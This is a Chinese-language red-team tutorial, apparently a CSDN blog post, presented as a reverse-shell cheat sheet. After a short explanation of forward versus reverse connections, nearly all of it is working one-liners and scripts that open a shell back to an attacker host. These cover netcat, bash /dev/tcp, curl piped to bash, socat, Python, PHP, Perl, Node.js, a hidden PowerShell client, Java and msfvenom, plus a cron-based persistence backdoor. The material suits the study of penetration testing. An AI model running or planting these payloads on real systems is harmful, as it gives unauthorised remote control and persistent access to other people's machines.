大家好,我是Dest1ny!
今天还是讲redteam里比较重要的反弹shell!
不会反弹shell,那你如何拿控制权限!
今天满满干货,大家加油学!
CLASS-1 正向连接与反向连接详解
1. 正向连接
正向连接是最常见的连接方式。当我们攻击了一台机器后,打开了该机器的一个端口,攻击者在自己的机器上主动连接目标机器的IP和端口。这类连接方式常见于远程桌面、Web服务、SSH、Telnet等。
理解:正向连接适用于目标机器能够被攻击者直接访问和请求的场景。前提是目标机器的端口是开放且可访问的。
人话:攻击者 ->被攻击方
2. 反向连接
为什么需要反弹Shell?
反向连接通常在以下几种情况下使用:
- 目标机器受到防火墙限制,只能发送请求,不能接收请求。
- 目标机的相关端口被占用。
- 目标机位于局域网中,或者其IP会动态变化,攻击者无法直接连接。
- 对于病毒和木马,受害者的上网环境、开关机时间都是未知的。
在这些情况下,正向连接行不通,因此我们使用反向连接。
理解:反向连接即攻击者设定一个服务端,受害者的主机主动发起连接。此方式有效绕过防火墙、端口限制以及内网环境等限制。
反向连接方式详解
反向连接的方式有很多,需要根据目标主机的实际环境选择合适的方法。下面列举几种常见的方法:
3. 利用Netcat反弹Shell
这里全部前提就是自己有一台公网服务器,想要用临时服务器的,去看我这篇文章!
云服务器如何不租月使用,全网最详细(小白必看教程!千字讲解!!)_云服务器如何租-CSDN博客
Netcat是一款简单且强大的网络工具,支持TCP和UDP协议。它可以用来建立各种网络连接,也常用于反弹Shell。以下是安装并使用带有-e
参数的Netcat来反弹Shell的步骤:
# 安装Netcat
wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz
tar -xvzf netcat-0.7.1.tar.gz
./configure
make && make install
make clean# 攻击机开启监听
nc -lvvp 2333# 目标机发起连接
nc <攻击机IP> 2333 -e /bin/bash
理解:Netcat的
-e
参数在默认安装版本中被移除,因此我们需要手动安装旧版本来实现Shell反弹功能。
4. 利用Bash反弹Shell
使用Bash可以通过重定向的方法实现反弹Shell,具体命令如下:
bash -i >& /dev/tcp/<攻击机IP>/2333 0>&1
理解:该命令创建了一个Bash交互环境,并将输入输出重定向到攻击者的端口上。此方法需要目标机支持Bash环境。
5. 利用Curl和Bash反弹Shell
借助Curl和Bash的组合,也可以实现Shell反弹:
# 攻击者在VPS上准备好payload并监听端口
curl <攻击机IP> | bash
理解:这种方式灵活性高,可用于CTF场景,特别是当目标主机能执行Curl命令时,非常方便快捷。
6. 将反弹Shell写入定时任务或配置文件
可以通过修改定时任务文件(如/var/spool/cron
)或者系统的配置文件(如/etc/profile
)来持久化反弹Shell的脚本。
# 在定时任务中写入
*/1 * * * * /bin/bash -i>&/dev/tcp/<攻击机IP>/2333 0>&1
理解:这种方式适合在目标主机上植入持久性后门,通过定时任务或配置文件在特定时间段发起连接。
7. 使用Socat反弹Shell
Socat是一款功能强大的网络工具,类似于Netcat,但功能更丰富。以下是其反弹Shell的用法:
# 攻击机监听
socat TCP-LISTEN:2333 -# 目标机连接
socat tcp-connect:<攻击机IP>:2333 exec:'bash -li',pty,stderr,setsid,sigint,sane
理解:Socat的灵活性更强,支持的参数和场景也更丰富,适合需要多样化反弹方法的场景。
8. 使用其他脚本语言反弹Shell
- Python:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<攻击机IP>",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
- PHP:
php -r '$sock=fsockopen("<攻击机IP>",2333);exec("/bin/sh -i <&3 >&3 2>&3");'
理解:不同的脚本语言都有相应的反弹Shell方法,这些方法需要目标机器支持相应的运行环境。
9. 使用Metasploit生成反弹Shell
Metasploit框架中的msfvenom
工具可以自动生成反弹Shell的脚本:
msfvenom -p cmd/unix/reverse_python LHOST=<攻击机IP> LPORT=2333 -f raw
理解:Metasploit提供了多种反弹Shell的Payload生成方式,非常适合在渗透测试过程中快速使用。
10. 利用Perl反弹Shell
Perl可以通过创建一个Socket来实现反弹Shell的功能,以下是具体命令:
perl -e 'use Socket;$i="<攻击机IP>";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
理解:Perl是一种常见的脚本语言,尤其是在老旧的Linux系统中比较常见。利用Perl可以实现Socket连接,并通过Shell与攻击者进行交互。
11. 利用PHP反弹Shell(GET方式)
如果目标机上有一个支持PHP的Web服务器,可以上传并执行一个简单的PHP脚本:
<?php
$sock=fsockopen("<攻击机IP>",2333);
exec("/bin/sh -i <&3 >&3 2>&3");
?>
理解:这是利用PHP脚本来反弹Shell的基本方式,通常适用于Web环境渗透。它依赖于目标服务器上PHP的执行权限。
12. 利用Node.js反弹Shell
如果目标机支持Node.js环境,可以使用以下代码来反弹Shell:
(function(){var net = require("net"),cp = require("child_process"),sh = cp.spawn("/bin/sh", []);var client = new net.Socket();client.connect(2333, "<攻击机IP>", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;
})();
理解:Node.js环境反弹Shell的方法适用于具备Node.js的服务器或环境,通常在Web服务器或一些应用平台中有效。
13. 利用PowerShell反弹Shell(Windows)
在Windows环境下,可以通过PowerShell来实现反弹Shell:
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("<攻击机IP>",2333);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}
理解:PowerShell是Windows自带的强大脚本工具,它可以直接在Windows环境下创建反向TCP连接,这种方式非常隐蔽且灵活。
14. 利用Java反弹Shell
Java应用程序也可以利用Java的网络库来反弹Shell:
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;public class ReverseShell {public static void main(String[] args) {String host = "<攻击机IP>";int port = 2333;String cmd = "/bin/sh";try {Socket s = new Socket(host, port);Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();OutputStream po = p.getOutputStream(), so = s.getOutputStream();while (!s.isClosed()) {while (pi.available() > 0) so.write(pi.read());while (pe.available() > 0) so.write(pe.read());while (si.available() > 0) po.write(si.read());so.flush();po.flush();Thread.sleep(50);try { p.exitValue(); break; } catch (Exception e) {}}p.destroy();s.close();} catch (Exception e) {}}
}
理解:Java反弹Shell适合于目标机支持Java环境的场景。代码通过Socket和ProcessBuilder实现了一个反向连接并执行Shell命令的功能。
15. 使用XTerm反弹Shell(图形界面)
XTerm是Unix系统中的终端仿真器。可以通过它来反弹一个Shell到攻击者的X服务器上:
xterm -display <攻击机IP>:1
理解:这种方法需要目标机安装并配置了X11,且攻击者的X服务器处于监听状态。通常适合内网或具有一定权限的场景。
16. 使用SSH反向隧道
SSH反向隧道也是一种常见的反弹Shell方法。前提是目标机器上允许使用SSH并且有SSH权限:
ssh -R 2333:localhost:22 user@<攻击机IP>
理解:SSH反向隧道可以在攻击者机器上打开一个端口,使得目标机的本地端口暴露出来,非常适合于需要长期控制或存在防火墙限制的环境。
17. 使用Python模块反弹Shell(无依赖版)
利用Python的socket
模块创建一个轻量级的反弹Shell:
import socket, subprocess, oss = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("<攻击机IP>", 2333))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p = subprocess.call(["/bin/sh", "-i"])
理解:这是Python最基础的反弹Shell方法,不依赖于其他库或模块,适合目标机器上没有高级Python模块但具备基础环境的情况。